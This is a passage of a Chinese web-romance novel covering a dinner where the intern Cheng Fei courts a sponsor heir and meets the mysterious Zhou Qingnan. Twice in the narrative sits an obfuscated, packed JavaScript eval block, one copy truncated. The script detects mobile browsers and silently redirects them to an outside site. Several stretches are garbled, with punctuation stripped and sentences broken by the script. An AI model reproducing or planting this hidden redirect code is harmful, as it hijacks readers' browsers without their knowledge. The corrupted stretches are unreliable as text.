连这一成不变又疲乏阴冷的夜,竟也显出几分破天荒的温柔。 理智告诉周清南,他应该拒绝她,也必须拒绝她。 但此时此刻,不知是低烧的乏感使人混乱,还是落地窗外霓虹灯的柔光使人迷惘,他指尖落在冰冷的手机屏上,摸索敲击,最后打出来的,却是一个简单又温和的单字。 周清南回她:【好。】 “……”看着对话框里的最新回复,程菲嘴角压不住地往上翘,心中瞬间洋溢开一种说不清也道不明的喜悦,弯着唇框框打字。 程菲:【行,那就这么说定了,帮你也带一个平安符。】 程菲停顿了下,又有点小心虚地补充一句:【你也不用太感动,我只是举手之劳。】 城市上方的夜色更浓,忽然吹来一阵风,拨云见月,清冷的银光倾洒而下,万物都被笼进月色织成的柔纱。 周清南熄灭了手机屏。 卧室里仅剩的光源消失,他感到疲倦,轻合起眼眸,眼前的世界再次归于沉郁同寂静。 突地,不知想到什么,他淡淡勾了勾唇尾,无声一笑。 * 周五上午,程菲赶上了早一班的地铁,到台里的时间比平时提前了八分钟。见时间还早,她窝在工位上和温舒唯吹了会儿牛,之后便慢悠悠地晃进茶水间,接了杯热咖啡。 谁知刚接好,还没来及喝,眼前便忽然刮过去一阵香风。 “跟我过来。”徐霞曼踩着高跟鞋从她身旁经过,眼也不抬地吩咐 。 “……哦,好的徐总。”程菲点头应一声,赶紧低头喝了口手里端着的热咖啡,被烫到,呸呸两声,冲回工位将杯子一放,拿起笔记本和钢笔便冲进了总监办公室。 徐霞曼今天穿的是Chloe最新款的春季西服套装,鲜艳的荷叶绿。这套服装,无论是设计还是配色都非常挑人,但徐霞曼皮肤白个子高,一身职场女强人的气质铁腕强势,这套大牌时装衣服往她身上一穿,简直就像为她量身定制。 听见程菲进屋的脚步声,徐霞曼眼睛依旧专注地看着电脑屏幕,纤细十指在键盘上飞快敲打,一心二用,毫不费力。 “上次让你准备的酒买好了吗?”徐霞曼问。 “……还没有。”程菲有点囧地回答,指尖抠着笔记本的牛皮克,怕被自家的顶头上司责备办事不力,赶紧又补充,“因为吃饭的时间是下周二,所以我打算这周末再去选酒。” 徐霞曼眼也不抬地说:“不用买了,梅氏那边的最新消息,他们的项目负责人换了一个,不是之前那个老酒仙了。” 程菲微讶,说:“换了一个?换成了谁?” “说是换成了梅家的小少爷,叫梅景逍。”徐霞曼说,“听说这位四公子从小就生活在迪拜,这儿才刚完成学业,被他老爹安排进梅氏集团工作,学着接手家族生意,年纪小得很。” 听完徐霞曼的话,程菲不禁有点好奇,随口打探:“年纪小得很?多小?” “刚硕士毕业,算也算得出来啊,最多不超过二十五岁。”徐霞曼今天心情不错,敲着键盘给程菲安排工作,还有空跟她扯点闲天开开玩笑,“还是个花儿一样的少年。” 程菲难得见自家老大这么风趣,忍俊不禁,接话说:“徐总,二十五岁是很年轻,但也不至于是少年吧。” 徐霞曼笃悠悠地说:“和我这种年近四十的老妖婆比起来,人家当然是少年。” “老妖婆?”程菲眼珠子都瞪大了,震惊至极,“您干嘛这样说自己?” 徐霞曼轻嗤一声,看向她,眉眼间神色平和:“你不知道吗,圈子里好些人在背地里都这么喊我,说我年纪一大把了,又不结婚又不生娃,还说我要是再拼下去,过几年,不仅再也找不到男人要我,连姨妈期都会抛弃我。” 程菲:“…… 程菲气结,皱紧了眉头愤懑道:“那些人明明就是嫉妒。因为徐总你工作能力又强,人又美,太多男人追不到你,太多女人比不上你,所以才会在背后恶言中伤。 说到这里,程菲稍微顿了下,音量低下去,自言自语地嘀咕:“还说别人四十岁就是老妖婆,我看那些人嘴巴这么毒,早晚遭雷劈,能不能活到四十岁都不知道呢。 徐霞曼听见她的碎碎念,抿唇一笑,觉得这小姑娘个性跳脱有意思,道:“好了,我就跟你随便那么一聊,你还气上了?我这个当事人都没生气。 “那是因为你素质高。 程菲虽然在工作中有些畏惧徐霞曼那身女强人的压迫感,但她进台实习的这段时间里,徐霞曼除了在工作中对她要求严苛外,也确实教给她许多真东西。因此,在程菲心中,徐霞曼除了是她的顶头上司以外,亦师亦友,她是发自内心地尊重这位上级。 “好了好了,知道你嘴皮子功夫厉害,怼人一绝。徐霞曼脸上依然笑意不减,顿了下,将话题绕回到正事上,“那个梅景逍是个年轻人,又常年久居国外,白酒什么的估计接触不多,你还是选两瓶红酒吧。 程菲颔首:“好的。 徐霞曼动手在办公桌上翻找了下,找出一份文件夹,打开来,取出一份资料给程菲递过去,又道:“这是梅家四少爷的资料,所有网上能查到的内容,我都扒下来了,你拿回去认真研究一下。 程菲伸手接过,目光飞快将两页装订好的A4纸通扫一遍,没看见照片,不禁有点诧异,咕哝道:“这么大一个企业的少东家,曝光在网上的资料居然这么少,而且,连一张照片都没有?也真够神秘的。 徐霞曼道:“这些豪门大家族都很注重隐私,梅家上下更是。不仅是这个小少爷梅景逍,他的哥哥姐姐包括老爸老妈,在网上都找不到任何图像资料。 程菲听后若有所思,称赞道:“那确实是很低调。 说着,她稍稍一顿,又有点狐疑,问徐霞曼道:“不过徐总,你为什么要专程让我研究这个梅景逍? 徐霞曼静默半秒,身子往办公椅背上一靠,叹出一口气来,惆怅道,“你是自己人,我不怕跟你说实话,我之前为了给咱们的新栏目拉 赞助,接触了不少企业,至今就梅氏一家有意愿。 “也就是说,如果我们错过了梅氏集团,咱们的新栏目极有可能就会流产,这段日子,你们加的所有班、熬的所有夜,全部白搭,团队所有人的心血付诸东流。 “只有让梅氏充分认可我们,我们的栏目才会有明天。 徐霞曼直视着程菲,神色凝重几分,道:“你和梅景逍是同龄人,比起我和梁主任,我相信你更容易取得他的信任和好感。 听完这番话,程菲已经明白徐霞曼的用意,点点头,应道:“我知道了。 “嗯。 徐霞曼展颜一笑,起身走近程菲,抬手在她肩膀上轻轻拍了两下,“程菲,你是我亲自选进来的人,你有目标有想法也肯吃苦不服输,真的很像年轻时候的我,希望这一次,你不会让我失望。 程菲备受鼓舞,回徐霞曼道:“徐总放心,等见到梅景逍,我一定使出浑身解数,努力让他认可我们,心甘情愿赞助这个栏目。 * 周末转眼就到。 周六早上还没七点钟,蒋兰女士就冲进了程菲的卧室,手一抬,“啪的把灯摁亮。 “……程菲睡得正香,眼睛骤然被光线刺激,顿时烦躁地拉高被子蒙住脑袋,哀嚎道:“妈你干什么呀…… “干什么?叫你起床!蒋兰女士叫女儿起床的方式数十年如一,简单直接粗暴有效。 开了灯,被子一掀,拔高了嗓门儿就是一通河东狮吼:“快起来!你小姨二十分钟之前就出门了,马上都快到动车站了,赶紧的! 程菲无语,架不住老妈的魔音灌耳碎碎念,只能揉着眼睛迷迷糊糊起床,踏上了前往萧山的旅程。 萧山是国家四A级风景区,景色如画,加上距离滨港市区只有2个小时的动车车程,出行相对便利,蒋兰和蒋小姨每年都会去几趟,爬山锻炼求神拜佛。 出门时间很早,上午十一点左右,女子团三人组便抵达了目的地。 在山下随便找了个小餐馆吃午饭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415794|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中午十二点半,程菲跟着蒋兰和蒋小姨一道开始正式爬山。 沿途看看风景拍拍照,走走停停说说笑笑,下午四点多,终于登上太公顶。 蒋兰女士目的明确,到地儿 之后一秒钟不耽搁拉着程菲便直奔一棵千年神树而去在树下寻觅一圈找到一位摆摊大师。 大师法号空镜一身佛衣面相和蔼今年已经七十四岁了是庙里的方丈德高望重。 空镜法师是个很可爱的小老头清廉正直身体健康无任何不良嗜好。他平时的生活规律而简单除了在自己的禅房里打打坐念念经之外就是在太公顶的神树下面摆摊给善男信女们解解签请个符。 蒋兰女士每年都会到太公顶来好几次久而久之 看见蒋兰空镜大师立刻双手合十微鞠一躬笑眯眯地说:“女施主您又来了这次又有什么心结想要老衲替你解开呀?” “大师这就是我闺女。”蒋兰把程菲往前一拽客客气气地说“我女儿最近好像诸事不顺我想给她求一个平安符帮她转转运势。” “明白了稍等。”大师笑着点头随后便从抽屉里取出一个印着梵文的黄色三角形佛符又对三人组道“几位请随我来。” 程菲瞧见空镜手里的佛符猜到这就是平安符不禁问:“大师这个符具体是怎么个请法?” 空镜:“拿到佛前开个光就能请走。” 听见流程并不复杂程菲心里稍微松了口气又看了眼小摊位里面半合着的抽屉说:“大师麻烦你多拿一个符一起去开光。” “多拿一个符做什么?”蒋兰纳闷儿狐疑地盯着闺女。 “哦。”程菲清了下嗓子说“唯唯听说我要来太公顶让我帮她也请一个平安符回去。” 蒋兰听得挑眉明显对这丫头的说法感到怀疑“温舒唯让你帮她带个符?” 程菲用力点头:“对呀。” 母女两人正说着话一旁的空镜却笑起来双手合十朝程菲道:“小施主平安符是佛前圣物讲究一个心诚则灵。最好还是让那位施主本人亲自过来。” 说完空镜又鞠一躬拿着程菲的平安符转过身缓缓朝大雄宝殿走去。 程菲在背后不解地挠头嘀咕道:“不能代请?可是之前奶奶明明也帮我请过发财符呀。” “小姑娘家家的什么都不懂。这种圣物代请的就不灵了!”蒋小姨在旁 边打趣“你说你奶奶帮你请了个发财符那你发财了吗?” 程菲呆呆地摇头:“没有。” 蒋小姨一副早有预料的表情手一摊:“呐!” ……合着她这么久还没发财是因为老太太代请的发财符神力受损?受教了。 程菲抬手抠脑壳无法只好默默跟上空镜大师。 蒋小姨脸上笑盈盈的提步正要往前走一回头看见蒋兰还杵在原地神色微妙不禁好奇地凑过去:“怎么?” 蒋兰轻哼一声喜滋滋道:“保密工作做得倒好。都帮人家请平安符了还要瞒着我和她爸。” 蒋小姨诧异:“什么意思?” “我就说太公顶灵吧不枉我连续三年都来给菲菲求良缘。”蒋兰看蒋小姨一眼满面春风“这丫头石头开窍恋爱了。” 蒋小姨闻言也顿时喜上眉梢:“那好啊。你之前还一直担心菲菲对那个杀人犯的孩子……”说到这里蒋小姨意识到自己说漏了嘴连忙打住干笑着续道“我就说你瞎操心吧那么多年前的人和事小孩子根本记不住。” 蒋兰感叹:“能走出来是好事。只要菲菲喜欢的男孩子家世清白、有个正经工作对她好我这个当妈的呀也就知足了。” * 程菲母女和蒋小姨在萧山住了一晚 回到家她收拾完行李后累得不行往床上一躺稀里糊涂地就睡了过去再次醒来已经是次日清晨。 新的一周开始。 周一下班后程菲紧赶慢赶去了趟滨港最大的烟酒行买下两瓶高档红酒接着便回到家认真钻研徐霞曼给她的那份个人资料。 钻研了整整一个晚上加半个白天到周二下午时程菲已经对梅家四少爷的基本信息烂熟于心。 所谓知己知彼百战百胜手中有粮心中不慌。 就这样周二晚上七点整程菲怀抱着“势必要拿下大甲方”的坚定信念身着一袭浅蓝色洋装连衣裙、妆容精致地出现在了饭局地点。 进了雅间。 徐霞曼坐在沙发上等了会儿看眼腕上的积家女士表对程菲说:“让服务员把茶果点心都准备好吧客人快到了。” “嗯好的。”程菲应声。 出去交代完服务员她回到雅间见餐桌上的精致摆花有些歪了正准备伸手扶正转眸刹那便瞧见雅间的大门被人从外面推了开。 最先进来的是一个身着旗袍的漂亮女孩儿她身姿高挑气质出众是这间高档餐厅的引导员。 再往后进来一个穿黑白棒球服的漂亮少年。 他个子很高短发漆黑皮肤白白的五官清秀中透着一抹温柔给人的第一观感就是“干净”。 双眸深邃眸光淡雅如星雾嘴唇的形状很薄色若樱花干净清秀而又温柔如水使人联想到希腊神话中望着水仙花死去的美少年纳西索斯。 程菲不动声色打量着那名美少年正端详着冷不防便与对方的眼神撞在了一起。 程菲微怔。 对比起来美少年显得自若许多。对上她的视线他只是朝她温和地牵了牵唇笑容礼貌而又绅士。 这出众的样貌这贵气的仪态对应的身份已经昭然若揭。 程菲猜到这人就是梅家四少梅景逍当即也朝他弯了弯嘴角回以得体笑容。 再然后她目光无意识往梅景逍身后一扫看见又一个人在侍应生的引领下步入雅间大门。 同样是一个男人走在梅景逍身后能明显看出这人比漂亮干净得宛如一株樱花树的小少爷还要高出半个头一袭冷调的纯色黑西装五官英俊轮廓分明浅色的桃花眼里散漫冷淡 两相对比男人与男孩的反差跃然于画面。 程菲:“……” 男人步伐从容进屋之后漫不经心地环视一圈下一秒他眼瞳深处映入一张难掩震惊的小脸。 仿佛锁定猎物他盯着她目光便不移了只微不可察地挑了下眉眼神里意味不明。 程菲:“……”??? 霎时间三个硕大的问号从天而降砸在了程菲的脑门上砸得她眼冒金星头脑发昏一度以为自己还在梦中。 周清南? 苍天啊大地啊这位大佬也太阴魂不散了怎么乱入进这个片场的?! 作者有话要说 大佬:想不到吧!老婆我又来啦【害羞笑】 —— 超强助攻梅小四上线啦! 随机100红包包 第 28 章 撒娇。 第28章撒娇。 看着缓步而入的冷峻男人,程菲人已经傻了,震惊到大脑卡壳无法思考,只能呆站在原地瞪大了眼睛,不可思议地望着对方。 然而,比起程菲的诧异失措,令她大跌眼镜的大佬本尊却显得格外淡定。 周清南面上的神情慵懒而随意,盯着她看了须臾后,视线便不动声色地移开,好像根本没有要跟她打招呼的打算。 程菲将周清南的这一微表情收入眼底,浓密的睫毛扇动两下,脑瓜一转就明白过来——这是准备装作和她不认识? 那可太好了。 程菲心里悄然一喜,她正愁着要怎么和徐总她们解释自己和周清南为什么认识呢,如此一来,倒是替她省了不少麻烦。 不过,现在最关键的问题是——今晚这场饭局的组织者是代表滨港电视台的徐总,受邀方是代表梅氏集团的梅景逍,周清南怎么会现身此地?又扮演着什么样的角色? 程菲脑子里疑惑地思索着,表面上倒还是一脸落落大方的职业微笑,只笑不说话。 毕竟徐总就在旁边,顶头上司都还没出声,哪里轮得到她一个虾兵蟹将先发话。 就在这时,梅氏另外两名同行人员也从雅间大门走了进来。 就这样,梅氏集团一方的三人代表团外加一个乱入的黒帮大佬集体登场,为今晚这场注定精彩万分的饭局拉开了序幕。 “梅先生您好,我是滨港电视台的总监徐霞曼,也是我们台新栏目《那片山那些人》的主要负责人。”徐霞曼笑着走到棒球服美少年身前,伸出右手,“很高兴认识您。” 岁月待美人总是温柔,徐霞曼今日一身深紫色大牌时装裙,简约大方典雅知性,展颜一笑时风情而不谄媚,浑身都是自信又耀眼的光芒。 徐霞曼看人的眼光精准。她虽然没见过梅景逍,也不曾浏览过梅景逍的任何图像影像资料,但在场几人中,气度华贵者唯二,而气度华贵又兼具朝气蓬勃青春阳光少年感的,只剩其一。 事实也证明徐霞曼的第一眼判断并未出错。 下一秒,干净清秀的棒球服少年便朝她还以和善微笑,抬臂同她握手,口中说:“久仰徐总大名,我是梅景逍。” 听见梅景逍开口说话,旁边的程菲不禁转眸,悄然看去一眼。 暗道上帝造物时还真是不公平,梅家这位小少爷,人长得美丽也就不说了,居然连声音都这么有特点?声线稍细但又不显女气,清如泉涧,说句话比别人唱首歌还好听,对听众的耳朵可以说是相当友好。 至此,仅凭初见的这短短几分钟,程菲对梅家四公子的印象便已不错。 大人物之间见了面,当然少不得一通商业互吹,你夸我来我夸你,和你相识是我的荣幸,受你邀请是我的福气。 梅小少爷和徐霞曼互赞着寒暄了两句,很快,徐霞曼的目光便转向梅景逍身侧那位身着黑西服的高个儿男人。 其实,早在此人进雅间的第一秒,徐霞曼便注意到他气场冷冽不怒自威,绝非平凡角色。 但因今晚饭局的主角是梅家四公子,她不得不先与梅景逍打招呼。此时得了空,徐霞曼当即便询问起对方身份,一秒钟没敢耽误。 徐霞曼望向周清南,语气仍旧温和而客气,试探道:“不知道这位先生是……” “我姓周。”周清南勾了勾嘴角,脸上的笑意寡淡而疏离,“徐总监,你好。” 对方的自我介绍实在过于简单,没有身份,没有职务,甚至吝啬说一个全名,仅仅一个姓氏便敷衍了事。徐霞曼何等精明,见他不详说,当然也就不详问,只是伸出右手,笑容满面道:“周先生您好,欢迎大驾光临。” 周清南绅士地与徐霞曼握手,以示友好。 一旁的梅四少似乎看出徐霞曼的疑虑,温和地勾了勾唇,替她解惑,道:“徐总,周先生是我的挚友,听我说起贵台的新栏目后,他也很感兴趣,你应该不介意他跟着一起蹭饭吧?” 梅景逍措辞幽默,徐霞曼愣了下,下一秒只觉喜出望外:能跟梅家四公子成为挚友,说明这个周先生肯定也不是普通人,眼下她手上的新栏目正在筹集启动资金的关键阶段,多一份关注度就多一个机会。 “当然不介意了!”徐霞曼脸上的笑容更加灿烂,“欢迎得很!” 接着,徐霞曼想起什么,又连忙侧过身,抬手一比,向两位坐上贵宾介绍起自己的同行人员,“四少,周总,这位是我们台里的梁主任,主要负责栏目跟取材地政府之间的沟通工 作。” 梁主任有些拘谨对着两位贵客直赔笑脸点头哈腰道:“梅总好周总好。” “这是我的助理叫程菲。”徐霞曼笑说着伸手一揽将程菲轻轻往前带了半步推送到两位翩翩公子跟前介绍道“今年刚进台里实习虽然是个新人但她头脑灵活、学东西很快将来如果有幸能合作还望梅总周总多多关照我家小助理。” 徐霞曼话说完边儿上的梁主任对上司的这一举动可谓是相当诧异不露痕迹侧目瞄了程菲一眼。 一般情况下在这种大人物云集的重要场合像助理这样的小角色别说得到总监的介绍了就是连跟甲方主宾说话的机会都不会有。 再看看徐总怎么做的? 不仅专程向贵宾们介绍了这个程菲还将她暗搓搓地夸了一通这种待遇不知道的还以为程菲才是主任他梁瀚只是个刚进台实习的小助理。 梁瀚心里不平衡得很越看这个实习生越不顺眼碍于人前又不好表现出来只能继续不做声装作相安无事。 其实不止是梁瀚诧异程菲本人也挺意外的。 她眸光轻微闪了闪下意识扭过脑袋朝徐霞曼看去。 察觉到助理小姑娘错愕的眼神信息徐霞曼脸上依然笑意平和。她一个眼色刨给程菲就像在说:好好表现别跟个木头一样傻站着。 短短半秒程菲回过神当即重新看向身前两位同样耀眼夺目的大帅哥。 “梅总您好。”她白净的脸蛋上漾开笑色手伸出去 梅景逍眸色温雅地看着她接着一勾唇谦谦君子温润如玉“程助理你好。” 握手礼只持续了极短暂的一瞬梅景逍和程菲握完手骨节分明的纤长手指便收回去将她的手松开。 梅家的小少爷招呼完接下来就是…… 心脏抢跳半拍程菲心口没由来一阵发紧暗自深呼吸终于鼓起勇气侧过眸看向了梅景逍身旁。 男人身上的黑西装样式简约没有任何花纹点缀纯色静默的黑几乎与他这个人融为一体。 他安静地站在那儿背脊挺拔笔直宛如一株生长在暗夜中的黑色乔木。头顶灯光在他立体深刻的面容上流转 为他的短发镀上一层浅淡光泽眉眼冷沉犹胜画卷。 程菲看了周清南一眼忽然不合时宜地想:之前见这人总觉得他随时都一副看破红尘的厌世样亦正亦邪懒倦不羁和“正经”二字八辈子都沾不上边。 没想到把背挺直了这么一站居然还挺板正。 怪好看的。 脑子里一通乱七糟八胡思乱想程菲脸微热不敢去看周清南的眼睛只能低垂眼眸清了清嗓子朝他伸出右手语气微僵道:“也请周总多多关照了。” 说完程菲就不作声了 等了不到一秒钟视野里就闯入一只漂亮的大手。 与梅四少比女孩子还美的纤白十指不同周清南的手掌心宽大指节修长手背上的血管很明显蓝青色起伏蜿蜒脉络分明蕴含着蓬勃力量。 周清南握住了她的手语气淡淡“幸会程小姐。” “幸会幸会。”程菲干笑着应了句然后便准备将自己的手抽回来。 然而尝试第一次没抽动第二次还是没抽动。 “……”程菲微诧蓦地抬高眼帘望向对面。 周清南眼神冷静脸上也没什么表情整个人看上去没有一丝一毫的异常。从旁观者视角看来他就是单纯在跟她握手绅士而又疏离毫无破绽。 然而只有程菲一个人知道他看似漠然轻描淡写根本没用劲指骨却锁得死紧将她的手禁锢到动弹不得…… ? 这位大佬又要搞什么鬼? 莫名其妙拽着她不松手是要看她在这么多人面前出糗吗…… 男人的指掌粗糙与女孩子光滑细嫩的手部皮肤截然不同触感反差得格外强烈。 程菲慌了神耳朵脸颊轰的像烧起一团火怕被其他人看出来不敢挣得太明显只能一边暗中继续跟周清南较劲一边睁大了眼睛瞪他用眼神飕飕甩冷刀:快点松开! 周清南直勾勾盯着程菲的眸看见她眼底强忍惧意而强装出来的镇定和威胁轻轻挑了下眉随即五指一松放了人。 终于脱身程菲心跳急促得像刚跑完半程马拉松耳根泛红两边脸蛋也浮着红晕下意识往后退了一 步逃也似的。 她忍不住又瞪了周清南一眼在心里骂他:您抽什么风呢? 周清南脸色淡淡的好整以暇移开目光懒洋洋地看别处没事人似的。 一旁梅景逍将两人的所有细微举动尽收眼底嘴角挑起抹耐人寻味的笑转瞬即逝。 “哟瞧我这脑子。” 徐霞曼倒是没发现几人之间的眼神轮转微妙氛围。她揽住程菲的肩膀将她往身后一带呈维护姿态脸上一派的从容笑色“梅总周总各位贵客快请坐我备了一些水果和茶点咱们坐下来边吃边聊。” * 惊心动魄的开场环节结束滨港电视台以徐总监为首的三人组、梅氏集团以梅家四少爷为首的三人组、外加一个疑似打酱油的乱入大佬七人成团于雅间正中的大圆桌周围落座。 C位自然是小少爷梅景逍和某乱入片场强行加戏的神秘周总。 正式饭局里的排座也有大讲究徐霞曼事前早就排好了座次正式入座她自己坐在梅景逍身侧梁瀚梁主任安排在周清南身侧位置作为在场群众里职务最低的小助理程菲则坐在了离中心C位最远的边角区。 菜品是提前几天就点好的贵客入席程菲立即便给服务生递了个眼色示意可以开始上菜倒酒。 领班立即带着两三个服务员忙活开。 徐霞曼率先打开话题朝梅景逍笑吟吟道:“听说梅总之前一直生活在国外刚完成学业回国?” “嗯。”梅景逍微笑清俊干净的眉目间寻不到半分杂质整个人就像一块仙人遗落在人间的白玉洁净无瑕不染纤尘“我爸想让我回来学着打理家里的生意父命难违不从也得从了。” 徐霞曼也对这个清秀美少年颇有好感赞誉道:“梅总这么年轻 “徐总过誉了我只是笼罩在父辈光环下的温室花朵胸无半点大志。”梅景逍很是谦逊说话的同时含笑侧目望向身旁的周清南轻声“说到真正的英雄出少年那是周总才对。” 周清南低眸抿了一口茶没有出声。 “是吗?”徐霞曼惊奇。 梅景逍说:“徐总监有所不知我这位挚友年纪轻轻就已 经身居高位,而且一路走来,靠的只有自己。我一直很敬佩周总,无论是做人还是做生意,都视他为最大的榜样。 “两位都是人中龙凤。徐霞曼附和了句,说着稍稍一顿,目光转向周清南,随口道,“不知道周总是做什么生意的? 话音刚落,还没等周清南出声,雅间的门便被人从外头敲响两声:砰砰。 “应该是服务员要进来上菜。 菜品上了桌,琳琅满目。 徐霞曼请主位两位贵宾先动筷,自己则端起醒酒器,亲自给二人倒酒。 倒完,徐霞曼便梁瀚递了个眼神,梁瀚早有准备,当即从随身携带的公文包里取出几份装订成册的文件资料,起身依次发放给几位座上宾。 徐霞曼说:“梅总周总,这是我们新栏目的策划案。相信二位也知道,我国的扶贫工作从2013年开始已经正式进入精准扶贫阶段,这一次我们的栏目聚焦偏远山区,将深入位于边境线上的兰贵县…… “徐总监,你们栏目的基本情况,我在来滨港的飞机上已经全部了解过了。梅景逍打断徐霞曼,温文尔雅,“我这次过来,就是想听一听贵台对后续实地考察的安排。 “实地考察的事我们已经和兰贵县政府对接好了。徐霞曼合上策划书,笑道,“主要看梅总您这边的时间,我们随时可以出发。 梅景逍:“徐总监也一起去? 徐霞曼还以一个充满歉意的笑,说:“实在不好意思,梅总,我下周要赴京参加一个重要会议,确实走不开,兰贵之行,我的助理和梁主任会陪同您左右。 梅景逍闻言,目光看向坐在餐桌边缘地带的漂亮小姑娘。 然后他温和地笑了笑,说:“程小姐看起来很年轻,我们应该差不多大吧? “我比梅总要稍年长一些。程菲回话的语气真诚,“不过大不了多少。 徐霞曼见梅景逍主动与程菲说话,心思微转,当即便笑着说:“程菲,你和梅总周总都是年轻人,应该能聊到一块儿去。这样,你和梁主任换个位子。 话音落地,在场倏地一静。 程菲脸微僵,下意识往梁主任身边的座位看了眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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难怪觉得他今天脸色不太好,唇色也有点发白,所以这位大佬不躺家里好好休息,居然跑出来了?所以这饭是非蹭不可吗? 一时间,程菲眉心不受控制地拧起一个结,心头 也犹如十五个吊桶在打水七上八下担忧无语。 就在她目不转睛盯着周清南的腹部发呆时坐她旁边的旁边的旁边的徐霞曼轻抿了一口红酒用力清了清嗓子出声提醒。 “……”程菲回魂儿没辙只好先强压下对那位大佬伤势的担忧继续攻略她们电视台的甲方爸爸。 “梅总。”程菲仔细回忆着脑海中梅景逍的日常喜好眉眼弯弯“听说您喜欢油画最喜欢的画家是塞拉斯?” 闻言梅景逍眼底明显亮了一分笑道:“是的我很欣赏塞拉斯的创作风格也收藏了他的作品。” “那还挺巧的。”程菲说“我去年刚看过一场塞拉斯的画展。” 就这样程菲和梅家的小少爷聊上了。你一句我一句从欧洲油画聊到中国古典文学从塞拉斯聊到吴敬梓两人年纪相仿又都是友善好相处的性格说说笑笑地谈天显得格外投缘。 徐霞曼暗中观察着程菲的表现眼底逐渐浮现出满意之色。 一旁的梁瀚却不爽得很眼瞧着程菲坐在属于自己的位子上跟梅家的四公子相聊甚欢他越发感到愤懑不平眼珠子转一转乐呵呵地说:“小程今天难得有机会能得梅总亲自给你指点你不得敬梅总一杯表示感谢啊?” 程菲看眼梁瀚。 她知道梁主任是什么心思但对方把话头抛了出来自己除了顺着往下接也没其他办法。 因此程菲举起红酒杯朝梅景逍轻轻一扬笑道:“梅总我敬您!” 说完便轻抿了一点。 她酒量虽然还不错但确实不知道红酒这玩意儿到底好喝在哪里一口下去只觉得舌尖发苦。 “小程你这就有点儿不地道了。”梁瀚心下冷笑哪那么容易让这小实习生下台又说“都说心意全在酒里你喝这么一小口梅总还以为咱们心意不诚呢。你现在代表的可不是你自己是徐总监是咱们整个台别那么小家子气。” 话音落地。 周清南眉心微蹙眼神不明。 徐霞曼有些不高兴了瞥梁瀚一眼。 梅景逍眼眸澄澈不言不语也没有任何动作只是看着程菲等她反应。 “……”程菲静了静 直接一口气将杯子里的红酒喝了个精光。 “我最欣赏豪爽的人。”梅景逍抚掌由衷地称赞“程助理真是海量女中豪杰。” 大半杯红酒悉数入腹程菲呛得闷咳两声白皙的脸蛋眨眼间就涨得通红。但她脸上仍旧笑着回梅四少话“梅总过誉了。” 梁瀚说:“小程梅总都夸你海量了还不给自己满上?” 程菲整个人刚缓过劲来正要回梁瀚话不料梅景逍却亲自拎起手边的醒酒器将她的杯子重新倒满。 “……”徐霞曼原本想出声制止见这情景只好无奈地噤声。 “一个人喝酒没什么意思。”梅景逍温润含笑端起自己的杯子在程菲的杯子上轻轻一碰玻璃相撞声响空灵“这一杯我回敬程助理。” 说完梅景逍低头将杯中酒喝完。 甲方爸爸在上程菲知道自己不能推脱心里叹口气 这可是几千块一瓶的好酒多喝点也不吃亏! 如是思索着程菲暗暗咬牙准备去端杯子。不料指尖还没碰上杯身旁边却忽然凭空伸出一只手指节分明腕骨劲瘦将她的高脚杯拿走。 “……”程菲迷茫地抬眸。 周清南脸上没有任何表情径自将她的红酒统统倒进他的杯子然后脖子一仰喉结滚动将酒液一饮而尽。 程菲惊呆了。 徐霞曼和梁瀚也愣在原地。 在场其余梅家人更是满脸的惊讶加疑惑纷纷拿愕然的眼神望向四少爷身边的真大佬。 雅间内骤然间鸦雀无声。 “一个姑娘家少喝点酒。”周清南唇色和脸色都透出几分病态的白冷声撂下这么句话后看也不看其他人起身离席。 梅景逍缓慢晃着手里的高脚杯眼神里兴味盎然忽然出声冲周清南的背影问:“走了?” “上洗手间。”周清南头也不回地说。 雅间大门开启又合上。 程菲僵坐在座位上脑子里乱糟糟的。 她看眼周清南空了的酒杯又回想起他隐泛苍白的唇色十指无意识便收握成拳——喝酒伤身他身体本来就还很虚弱岂不是伤上加伤…… 第 29 章 坐我旁边来。 第29章坐我旁边来。 脑子里冒出这个词的下一秒,程菲嘴角便不可抑制地抽了抽——她没事儿吧?居然会觉得周清南在对她撒娇?真是比鬼故事还惊悚。 她飞快甩甩脑子,将脑海中那个荒诞的想法给抛开。 “是伤口又开始痛了吗?”程菲眉心紧皱,试探地轻问。 休息室里的光线暗得让人心慌。 男人离程菲太近,近到沉重炽热的呼吸就喷在她后颈处,一阵一阵,犹如燎原的焰。担心他站不稳会摔倒,加上他体格高大四肢修长,她不得不贴他更紧,几乎用上大半个身体的力量来努力支撑。 头顶上方很随意地应了她一声“嗯”,带着轻微鼻音,听上去沉沉的,哑哑的。 “之前让你去医院你不肯,说自己在家休养休养就好。”程菲说起来就一肚子无名火气,嘀咕着数落他,“我还以为你天赋异禀多大能耐,随便躺两天那么严重的伤就痊愈了呢。” 周清南听出姑娘语气里的愠恼,在黑暗中动了动眼皮,看向她,目光好整以暇。 不说话也不动作,就想听听这张不饶人的小嘴还能叭叭他些什么。 “人家梅氏集团是准备跟我们电视台合作,所以我们领导才组织的这场饭局,专程请梅氏集团的高层吃饭。”程菲碎碎念个不停,说到这里顿了下,忍不住抬眸瞟他一眼,难掩不满与狐疑,“你又不是梅氏的人,莫名其妙跑来凑什么热闹?” “程小姐刚才没有认真听梅总说话么。”周清南稍顿半秒,轻声,一字一停道,“本人也对贵台的新栏目感兴趣。” 程菲听完,有点诧异,完全没过脑子便脱口而出地回了句:“不可思议,你这种无良社会哥居然也会关注咱们国家的扶贫工作?” 周清南:“。” 程菲:”。“ 话音落地,一室死寂,大型社死现场再现。 